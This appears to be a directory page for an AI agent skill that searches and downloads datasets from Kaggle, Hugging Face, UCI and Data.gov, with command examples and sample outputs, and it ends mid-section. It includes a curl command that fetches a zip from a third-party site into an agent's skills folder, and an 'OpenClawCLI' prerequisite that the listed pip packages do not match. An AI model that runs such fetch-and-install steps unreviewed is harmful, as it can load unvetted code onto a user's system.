dataset-finder

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Use this skill when users need to search for datasets, download data files, or explore data repositories. Triggers include: requests to "find datasets", "search for data", "download dataset from Kaggle", "get data from Hugging Face", "find ML datasets", or mentions of data repositories like Kaggle, UCI ML Repository, Data.gov, or Hugging Face. Also use for previewing dataset statistics, generating data cards, or discovering datasets for machine learning projects. Requires OpenClawCLI installation from clawhub.ai.

Install

mkdir -p .claude/skills/dataset-finder && curl -L -o skill.zip "https://mcp.directory/api/skills/download/5555" && unzip -o skill.zip -d .claude/skills/dataset-finder && rm skill.zip

Installs to .claude/skills/dataset-finder

About this skill

Dataset Finder

Search, download, and explore datasets from multiple repositories including Kaggle, Hugging Face, UCI ML Repository, and Data.gov. Preview statistics, generate data cards, and manage datasets for machine learning projects.

⚠️ Prerequisite: Install OpenClawCLI (Windows, MacOS)

Installation:

# Standard installation
pip install kaggle datasets pandas huggingface-hub requests beautifulsoup4

# If you encounter permission errors, use a virtual environment
python -m venv venv
source venv/bin/activate  # On Windows: venv\Scripts\activate
pip install kaggle datasets pandas huggingface-hub requests beautifulsoup4

Never use --break-system-packages as it can damage your system's Python installation.


Quick Reference

TaskCommand
Search Kagglepython scripts/dataset.py kaggle search "housing prices"
Download Kaggle datasetpython scripts/dataset.py kaggle download "username/dataset-name"
Search Hugging Facepython scripts/dataset.py huggingface search "sentiment"
Download HF datasetpython scripts/dataset.py huggingface download "dataset-name"
Search UCI MLpython scripts/dataset.py uci search "classification"
Preview datasetpython scripts/dataset.py preview dataset.csv
Generate data cardpython scripts/dataset.py datacard dataset.csv --output README.md
List local datasetspython scripts/dataset.py list

Core Features

1. Multi-Repository Search

Search across multiple data repositories from a single interface.

Supported Sources:

  • Kaggle - ML competitions and community datasets
  • Hugging Face - NLP, vision, and audio datasets
  • UCI ML Repository - Classic ML datasets
  • Data.gov - US government open data
  • Local - Manage downloaded datasets

2. Dataset Download

Download datasets with automatic format detection.

Supported formats:

  • CSV, TSV
  • JSON, JSONL
  • Parquet
  • Excel (XLSX, XLS)
  • ZIP archives
  • HDF5
  • Feather

3. Dataset Preview

Get quick statistics and insights without loading entire datasets.

Preview features:

  • Shape (rows × columns)
  • Column names and types
  • Missing value counts
  • Basic statistics (mean, std, min, max)
  • Memory usage
  • Sample rows

4. Data Card Generation

Automatically generate dataset documentation.

Includes:

  • Dataset description
  • Schema information
  • Statistics summary
  • Usage examples
  • License information
  • Citation details

Repository-Specific Commands

Kaggle

Search and download datasets from Kaggle.

Setup:

  1. Get Kaggle API credentials from https://www.kaggle.com/settings
  2. Place kaggle.json in ~/.kaggle/ (Linux/Mac) or %USERPROFILE%\.kaggle\ (Windows)
# Search datasets
python scripts/dataset.py kaggle search "house prices"

# Search with filters
python scripts/dataset.py kaggle search "NLP" --file-type csv --sort-by hotness

# Download dataset
python scripts/dataset.py kaggle download "zillow/zecon"

# Download specific files
python scripts/dataset.py kaggle download "username/dataset" --file "train.csv"

# List dataset files
python scripts/dataset.py kaggle list "username/dataset-name"

Search options:

  • --file-type - Filter by file type (csv, json, etc.)
  • --license - Filter by license type
  • --sort-by - Sort by hotness, votes, updated, or relevance
  • --max-results - Limit number of results

Output:

1. House Prices - Advanced Regression Techniques
   Owner: zillow/zecon
   Size: 1.5 MB
   Last updated: 2023-06-15
   Downloads: 150,000+
   URL: https://www.kaggle.com/datasets/zillow/zecon

2. Housing Prices Dataset
   Owner: username/housing-data
   Size: 850 KB
   Last updated: 2023-08-20
   Downloads: 50,000+
   URL: https://www.kaggle.com/datasets/username/housing-data

Hugging Face Datasets

Search and download datasets from Hugging Face Hub.

# Search datasets
python scripts/dataset.py huggingface search "sentiment analysis"

# Search with filters
python scripts/dataset.py huggingface search "NLP" --task text-classification --language en

# Download dataset
python scripts/dataset.py huggingface download "imdb"

# Download specific split
python scripts/dataset.py huggingface download "imdb" --split train

# Download specific configuration
python scripts/dataset.py huggingface download "glue" --config mrpc

# Stream large datasets
python scripts/dataset.py huggingface download "large-dataset" --streaming

Search options:

  • --task - Filter by task (text-classification, translation, etc.)
  • --language - Filter by language code
  • --multimodal - Include multimodal datasets
  • --benchmark - Only benchmark datasets
  • --max-results - Limit results

Output:

1. IMDB Movie Reviews
   Dataset ID: imdb
   Tasks: sentiment-classification
   Languages: en
   Size: 84.1 MB
   Downloads: 1M+
   URL: https://huggingface.co/datasets/imdb

2. Stanford Sentiment Treebank
   Dataset ID: sst2
   Tasks: sentiment-classification
   Languages: en
   Size: 7.4 MB
   Downloads: 500K+
   URL: https://huggingface.co/datasets/sst2

UCI ML Repository

Search and download classic ML datasets.

# Search datasets
python scripts/dataset.py uci search "classification"

# Search by characteristics
python scripts/dataset.py uci search "regression" --min-samples 1000

# Download dataset
python scripts/dataset.py uci download "iris"

# Download with metadata
python scripts/dataset.py uci download "wine-quality" --include-metadata

Search options:

  • --task-type - classification, regression, clustering
  • --min-samples - Minimum number of instances
  • --min-features - Minimum number of features
  • --data-type - tabular, text, image, time-series

Output:

1. Iris Dataset
   ID: iris
   Task: classification
   Samples: 150
   Features: 4
   Classes: 3
   Missing values: No
   URL: https://archive.ics.uci.edu/ml/datasets/iris

2. Wine Quality
   ID: wine-quality
   Task: classification/regression
   Samples: 6497
   Features: 11
   Missing values: No
   URL: https://archive.ics.uci.edu/ml/datasets/wine+quality

Data.gov

Search US government open data.

# Search datasets
python scripts/dataset.py datagov search "census"

# Search with organization filter
python scripts/dataset.py datagov search "health" --organization "cdc.gov"

# Search by topic
python scripts/dataset.py datagov search "education" --tags "schools,students"

# Download dataset
python scripts/dataset.py datagov download "dataset-id"

Search options:

  • --organization - Filter by publishing organization
  • --tags - Filter by tags (comma-separated)
  • --format - Filter by format (csv, json, xml, etc.)
  • --max-results - Limit results

Output:

1. 2020 Census Demographic Data
   Organization: census.gov
   Format: CSV
   Size: 125 MB
   Last updated: 2023-01-15
   Tags: census, demographics, population
   URL: https://catalog.data.gov/dataset/...

Dataset Management

Preview Datasets

Get quick insights without loading entire datasets.

# Basic preview
python scripts/dataset.py preview data.csv

# Detailed statistics
python scripts/dataset.py preview data.csv --detailed

# Custom sample size
python scripts/dataset.py preview data.csv --sample 20

# Multiple files
python scripts/dataset.py preview train.csv test.csv

Output:

Dataset: train.csv
Shape: 1000 rows × 15 columns
Size: 2.5 MB
Memory usage: 120 KB

Columns:
  - id (int64): no missing values
  - name (object): 5 missing values
  - age (int64): no missing values
  - income (float64): 12 missing values
  - category (object): no missing values

Numeric columns statistics:
           age       income
count   1000.0       988.0
mean      35.2     65432.1
std       12.5     25000.0
min       18.0     20000.0
max       75.0    150000.0

Categorical columns:
  - category: 5 unique values
  - name: 995 unique values

Sample (first 5 rows):
   id      name  age    income category
0   1  John Doe   35   65000.0        A
1   2  Jane Doe   28   55000.0        B
2   3  Bob Smith  42   85000.0        A
...

Generate Data Cards

Create standardized dataset documentation.

# Generate data card
python scripts/dataset.py datacard dataset.csv --output DATACARD.md

# Include statistics
python scripts/dataset.py datacard dataset.csv --include-stats --output README.md

# Custom template
python scripts/dataset.py datacard dataset.csv --template custom_template.md

# Multiple datasets
python scripts/dataset.py datacard train.csv test.csv --output-dir datacards/

Generated data card includes:

  • Dataset description
  • File information (size, format, rows, columns)
  • Schema (column names, types, descriptions)
  • Statistics (distributions, missing values, correlations)
  • Sample data
  • Usage examples
  • License and citation
  • Known issues/limitations

Example output (DATACARD.md):

# Dataset Card: Housing Prices

## Dataset Description
This dataset contains housing prices and features for regression analysis.

## Dataset Information
- **Format:** CSV
- **Size:** 1.2 MB
- **Rows:** 1,460
- **Columns:** 81

## Schema
| Column | Type | Description | Missing |
|--------|------|-------------|---------|
| Id | int64 | Unique identifier | 0 |
| MSSubClass | int64 | Building class | 0 |
| LotArea | int64 | Lot size in sq ft | 0 |
| SalePrice | int64 | Sale price | 0 |
...

## Statistics
- Numerical features: 38
- Categorical features: 43
- Missing values: 19 columns affected
- Target variable: SalePrice (range: $34,900 - $755,000)

## Usage
```python
import pandas as pd
df = pd.read_csv('housing_prices.csv')

License

Creative Commons


### List Local Datasets

Manage downloaded datasets.

```bash
# List all datasets
python scripts/dataset.py list

# List with details
python scripts/dataset.py list --detailed

# Filter by source
python scripts/dataset.py list --so

---

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